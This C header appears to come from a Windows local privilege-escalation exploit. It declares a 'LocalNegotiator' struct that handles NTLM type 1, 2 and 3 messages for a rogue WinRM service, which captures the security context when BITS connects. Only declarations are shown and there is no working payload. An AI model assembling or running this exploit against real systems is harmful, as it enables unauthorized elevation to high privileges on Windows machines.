#pragma once

#pragma comment (lib, "Secur32.Lib")

/**
	This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
	in  particular for the local negotiator.
	See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
	for how I emulated a class in pure C.

	The local negotiator is an object used to handle security an client-server negotiation data. In this
	exploit, it is used by elevatorService.c (Rogue WinRM service) in order to store security context
	obtained when BITS shoots the Rogue WinRM service, and is required by this service to authenticate.
*/

struct _LocalNegotiator;

typedef void (*negConstructor) (struct _LocalNegotiator*);
typedef void (*negDestructor) (struct _LocalNegotiator*);
typedef void (*Initialize) (struct _LocalNegotiator*);
typedef int (*handle1) (struct _LocalNegotiator*, char*, unsigned short);
typedef int (*handle3) (struct _LocalNegotiator*, char*, unsigned short);
typedef char* (*returnType) (struct _LocalNegotiator*, unsigned short*);
typedef int (*processBytes) (struct _LocalNegotiator*, char*, unsigned short);

typedef struct _LocalNegotiator
{
	// Methods as pointer to functions
	negConstructor construct;
	negDestructor destruct;
	handle1 handleType1;
	handle3 handleType3;
	returnType returnType2;
	processBytes processNtlmBytes;

	// Arguments
	int authResult;
	PCtxtHandle phContext;
	CredHandle hCred;
	SecBufferDesc secClientBufferDesc;
	SecBufferDesc secServerBufferDesc;
	SecBuffer secClientBuffer;
	SecBuffer secServerBuffer;
} LocalNegotiator;


// Constructor and destructor
void Init(LocalNegotiator* this);
void destructNegotiator(LocalNegotiator* this);

// Methods of emulated classes
static int processNtlmBytes(LocalNegotiator* this, char* ntlmBytes, unsigned short len);
static int HandleType1(LocalNegotiator* this, char* ntlmBytes, unsigned short len);
static int HandleType3(LocalNegotiator* this, char* ntlmBytes, unsigned short len);
static char* ReturnType2(LocalNegotiator* this, unsigned short* outbuffer_len);

// Static function
static void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer);
